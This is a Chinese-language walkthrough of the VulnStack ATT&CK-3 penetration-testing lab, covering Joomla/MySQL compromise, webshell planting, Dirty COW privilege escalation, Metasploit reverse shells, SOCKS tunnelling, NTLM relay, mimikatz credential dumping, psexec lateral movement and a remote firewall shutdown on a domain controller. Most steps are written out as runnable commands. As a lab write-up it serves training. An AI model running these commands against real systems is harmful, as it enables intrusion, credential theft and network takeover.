VulnStack-ATT&CK-3(红日靶场三)

VulnStack-ATT&CK-3

    • 1. 环境配置
    • 2. 信息收集
      • 目标机端口扫描
      • 目录扫描
    • 3. 漏洞利用
      • 远程连接web的MySQL
      • 登录后台写一句话木马
      • 连接木马文件getshell
    • 4. 内网渗透
      • 内网信息收集
      • 脏牛漏洞提权
      • 内网渗透,建立监听
      • 路由转发Sock代理
      • Socks5代理
    • 5. 横向移动
      • NTLM Relay 攻击
      • 定位域管理员
      • meterpreter的kiwi模块抓取密码
      • 使用获取到的密码控制 win7
      • 进攻域控(win 2012)
    • 6. 问题总结

1. 环境配置

此图仅供参考,IP地址有误

VulnStack-ATT&CK-3(红日靶场三)_第1张图片

首先添加一张网卡(仅主机模式),192.168.93.0/24 网段

web-centos

进去第一条命令 service network restart 重启网络服务

网卡1:桥接模式 192.168.119.118 (180.118)

网卡2:仅主机 192.168.93.100

web1-ubuntu

仅主机模式:192.168.93.120

PC

仅主机:192.168.93.30

win 2008

仅主机:192.168.93.20

win 2012

仅主机:192.168.93.10

kali

重启网卡命令:systemctl restart networking

IP:192.168.119.62

2. 信息收集

目标机端口扫描

经过端口扫描,发现有22、80、3306端口开放

内网存活主机的扫描要通过搭建代理的方式

VulnStack-ATT&CK-3(红日靶场三)_第2张图片

分别对开放端口利用。

80端口http服务,可以尝试登录网页

3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等

VulnStack-ATT&CK-3(红日靶场三)_第3张图片

目录扫描

回想getshell的方法。首先尝试目录扫描,找到后台登录页面,尝试弱密码,暴力破解等。

VulnStack-ATT&CK-3(红日靶场三)_第4张图片

进入 http://192.168.119.118/administrator/index.php

VulnStack-ATT&CK-3(红日靶场三)_第5张图片

用不了弱密码,在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露

http://192.168.119.118/configuration.php

找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息

VulnStack-ATT&CK-3(红日靶场三)_第6张图片

尝试用Hydra,brupsuite暴力破解,但是都没有成功

最后,通过学习别人的思路,远程登录目标机的MySQL

3. 漏洞利用

主要是利用敏感信息泄露,得知了mysql的用户名密码:testuser/cvcvgjASD!@

然后可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。

远程连接web的MySQL

找到后台登录页面后,尝试弱口令,暴力破解,SQL注入,都不成功,也没有相关敏感信息泄露

最后想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录
VulnStack-ATT&CK-3(红日靶场三)_第7张图片

由于泄露的敏感信息中没有相关的表名,根据经验,应该在user相关的表中

VulnStack-ATT&CK-3(红日靶场三)_第8张图片

修改用户名的密码为123456,结果登录验证依然失败,必须修改为加密后的数据

重新添加一个用户名密码 admin1/secret

secret 加密后 d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

VulnStack-ATT&CK-3(红日靶场三)_第9张图片

同理也要在am2zu_user_usergroup_map这个表添加数据

VulnStack-ATT&CK-3(红日靶场三)_第10张图片

group_id 为 8 的意思是 Super User

VulnStack-ATT&CK-3(红日靶场三)_第11张图片

登录后台写一句话木马

VulnStack-ATT&CK-3(红日靶场三)_第12张图片

点击Bee3 Details and Files

VulnStack-ATT&CK-3(红日靶场三)_第13张图片

在index.php 文件中 写入一句话木马 ,点击Save

VulnStack-ATT&CK-3(红日靶场三)_第14张图片

连接木马文件getshell

一句话木马写在了index.php,因此要找到index.php的绝对路径,猜测就是我们登录的页面http://192.168.180.118/administrator/index.php

连接测试失败,根据泄露的敏感信息,猜测应该是http://192.168.180.118/html/administrator/index.php,引入不成功

VulnStack-ATT&CK-3(红日靶场三)_第15张图片

最后观察页面上的信息,推测路径http://192.168.180.118/template/beez3/index.php,注意linux系统严格区分大小写

VulnStack-ATT&CK-3(红日靶场三)_第16张图片

蚁剑连接,成功获取webshell

VulnStack-ATT&CK-3(红日靶场三)_第17张图片

打开虚拟终端,发现不能执行命令

VulnStack-ATT&CK-3(红日靶场三)_第18张图片

通过蚁剑在templates/beez3目录下写一个phpinfo文件

VulnStack-ATT&CK-3(红日靶场三)_第19张图片

然后访问 http://192.168.180.118/templates/beez3/phpinfo.php

发现 命令执行被禁用

VulnStack-ATT&CK-3(红日靶场三)_第20张图片

下载绕过disable_funtions 的payload

https://github.com/MrAnonymous-1/disable_functions

将exploit1.php上传到web服务器的指定目录下

VulnStack-ATT&CK-3(红日靶场三)_第21张图片

访问此文件http://192.168.156.118/templates/beez3/exploit1.php,发送post请求,页面上就会返回命令执行结果

POST: cmd=
// 为要执行的系统命令
// 例如:cmd=ipconfig

VulnStack-ATT&CK-3(红日靶场三)_第22张图片

4. 内网渗透

分别启动CS的服务端、客户端,尝试用CS生成钓鱼文件,让web上线,但是没有成功,因为权限不够

由于是Web服务是centos系统,不能利用ms17-010

内网信息收集

ifconfig           发现一个网段192.168.93.0/24   和 一个IP地址 192.168.93.120

cat /etc/issue         	#查看系统名称          Ubuntu 16.04.6 LTS \n \l
cat /etc/*release      	#查看linux发行信息
uname -an               #查看内核版本 
cat /proc/version     	#查看内核信息
cat /etc/passwd   		#存放用户名信息,没有密码信息
cat /etc/shadow         #存放用户名密码信息,密码被加密,只要root用户才能读取
whoami     #查看当前shell权限      www-data
id  							  uid=33(www-data) gid=33(www-data) groups=33(www-data) 

总之发现,查到的很多信息都是Ubuntu虚拟机(Web1)的,当我把Ubuntu虚拟机挂起后,再执行上述命令,返现无返回结果。现在的情况是,拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息

原来是Centos是Ubuntu的反向代理,用的是Nginx协议

VulnStack-ATT&CK-3(红日靶场三)_第23张图片

VulnStack-ATT&CK-3(红日靶场三)_第24张图片

利用蚁剑的插件,绕过disable_functions 对系统命令执行的限制,在Ubuntu上发现了一组用户名密码

VulnStack-ATT&CK-3(红日靶场三)_第25张图片

  1. 由于前面进行了端口扫描,只开放看22,80,3306端口,因此猜测是SSH的凭证

  2. 用Xshell进行连接Centos的IP,输入用户名密码 wwwuser/wwwuser_123Aqx

  3. 输入ifconfig,返回的是Centos的IP地址信息

VulnStack-ATT&CK-3(红日靶场三)_第26张图片

查看nginx的相关配置文件,验证Centos和Ubuntu是否是有代理的关系

ps aux | grep nginx 
find / -name  nginx
find / -name  proxy

VulnStack-ATT&CK-3(红日靶场三)_第27张图片

脏牛漏洞提权

脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权

EXP下载:https://github.com/FireFart/dirtycow

将代码上传到一个可以执行的文件夹内

在这里插入图片描述

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码

./dirty 123456

id 			#显示用户的ID,以及所属群组的ID;uid=0,为root用户

VulnStack-ATT&CK-3(红日靶场三)_第28张图片

内网渗透,建立监听

为了内网渗透,扫描到192.168.93.0/24 网段内主机的相关信息,我们要通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接

use exploit/multi/script/web_delivery
set target 6    						# 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 4444
exploit

输入run之后,会生成一个payload,然后复制在CentOS上执行

执行之后就会出现下图红框的中的内容

VulnStack-ATT&CK-3(红日靶场三)_第29张图片

VulnStack-ATT&CK-3(红日靶场三)_第30张图片

然后执行这个session,就出现了meterpreter后渗透阶段

VulnStack-ATT&CK-3(红日靶场三)_第31张图片

路由转发Sock代理

添加路由是为了能让msf程序进入内网,便于攻击

earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等

ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口

添加一个通向内网 192.168.93.0/24 网段的路由

route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1

VulnStack-ATT&CK-3(红日靶场三)_第32张图片

Socks5代理

上述的内网渗透,建立监听操作都是在msfconsole视图下完成的,路由转发只能将msfconsole带进内网,但是想要将攻击机其他程序也带进内网还需要搭建socks代理。

使用earthworm搭建socks5反向代理

kali(攻击者)

./ew_for_linux64 -s rcsocks -l 1080 -e 1234
  #将1080端口监听到的本地数据转发到 web服务器的1234端口
  # 通过1080端口,将本地流量转发出去
  #rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

在这里插入图片描述

在CentOS上传 ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.1.106 -e 1234
	#192.168.1.106 是攻击者kali的IP地址

请添加图片描述
VulnStack-ATT&CK-3(红日靶场三)_第33张图片

将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

VulnStack-ATT&CK-3(红日靶场三)_第34张图片

之后我们就可以利用proxychains将我们的程序代理进入内网了

测试可以ping通内网主机
VulnStack-ATT&CK-3(红日靶场三)_第35张图片

下面我们就可以扫描内网的存活主机

由于内存不够,只开启了一台虚拟机,所以只扫描到192.168.93.30

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

VulnStack-ATT&CK-3(红日靶场三)_第36张图片

5. 横向移动

NTLM Relay 攻击

工具使用说明:
impacket-master : 为了伪造smb服务器,抓取用户的密码
msf : 生成一个exe木马 ,结合impacket-master的smbrelayx.py使用

通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。

因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。

首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.106 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
	#192.168.1.106 是kali的IP地址

将生成的木马文件上传到CentOS

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
  # 攻击信息都会反弹到192.168.93.20这台主机

出现以下报错,说明python环境有问题

VulnStack-ATT&CK-3(红日靶场三)_第37张图片

下面我们下载python3 环境

由于有一个认证失败的原因,因此不能直接用 pip install --upgrade pip 的方式。要用下面的方式进行安装

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install

ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip

pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex 
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:

nginx -s stop

VulnStack-ATT&CK-3(红日靶场三)_第38张图片

VulnStack-ATT&CK-3(红日靶场三)_第39张图片

执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

VulnStack-ATT&CK-3(红日靶场三)_第40张图片

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听

在msf上开启对 win 2008(192.168.93.20)的监听

然后在win7上访问smb服务器,使得win 2008成功上线

顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

VulnStack-ATT&CK-3(红日靶场三)_第41张图片

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

注意这里在监听bind_tcp时一定要设置进程迁移,否则在Removing file的时候,会话也随之关闭了

VulnStack-ATT&CK-3(红日靶场三)_第42张图片

定位域管理员

PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员
需要注意的是:该工具的某些功能需要管理员权限

通过meterpreter 上传PVEFindADUser.exe到 win 2008,域管理员当前登录位置是win 2012

upload filename  #msf在哪个路径下开启,就上传此路径下的文件

拿下Windows server 2008之后,然后进入shell中执行如下命令:

shell
pvefinaduser.exe -current

如下图,成功显示域中所有计算机上当前登陆的所有用户:

VulnStack-ATT&CK-3(红日靶场三)_第43张图片

meterpreter的kiwi模块抓取密码

查看进程

VulnStack-ATT&CK-3(红日靶场三)_第44张图片

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

报错了,因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移进去就行了:

成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:

WIN2008\Administrator:123qwe!ASD

TEST\administrator:zxcASDqw123!!

使用获取到的密码控制 win7

思路:由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机

由于在使用NTLM Realy的时候,win7(192.168.93.30) 登录smb伪造服务器也会被 win2008(192.168.93.20)记录来了,猜测应该可以用同一组密码登录 win7

下面尝试登录 PC (win7 : 192.168.93.30)

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run

VulnStack-ATT&CK-3(红日靶场三)_第45张图片

VulnStack-ATT&CK-3(红日靶场三)_第46张图片

进攻域控(win 2012)

思路:由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。在win 2008上窃取管理员用户的token令牌,这样就可以通过win2008 访问 win2012(域控),然后远程关掉域控的防火墙,在此用msf登录域控,结果成功,接下来就是后渗透找目标文件

用同样的方式进行登录,通过上面获取的域控的用户名密码,通过msf直接登录,但是这次失败

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
# set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run

换其他方法,重新生成一个正向的msf木马,上传到win2008

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.102 LPORT=6666 -f exe -o shell.exe

VulnStack-ATT&CK-3(红日靶场三)_第47张图片

上传木马文件

在这里插入图片描述

窃取管理员用户的token令牌

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

这样我们的当前拿下的Win2008便有了访问域控制器的权限

在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件

关闭win2012(192.168.93.10)的防火墙

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

再次使用msf的 exploit/windows/smb/psexec 模块登录win2012

6. 问题总结

以下是在实验中遇到的关键点,还有一些小小的梳理

  1. mysql服务+用户名密码泄露=mysql远程登录

  2. 拿到webshell,不能执行命令怎么办,phpinfo()验证,绕过disable_functions

  3. 用proxychains+nmap的方式扫描存活主机

    proxychains nmap -sT 192.168.93.0/24

    为什么不是连续扫描,-sV 扫描不出结果

VulnStack-ATT&CK-3(红日靶场三)_第48张图片

  1. msf的使用技巧,知道一个漏洞应该对应使用哪个模块
  2. 代理和隧道的联系

你可能感兴趣的:(内网渗透,Vulnstack,vulnstack,红日靶场,nginx反向代理,CentOS,内网渗透)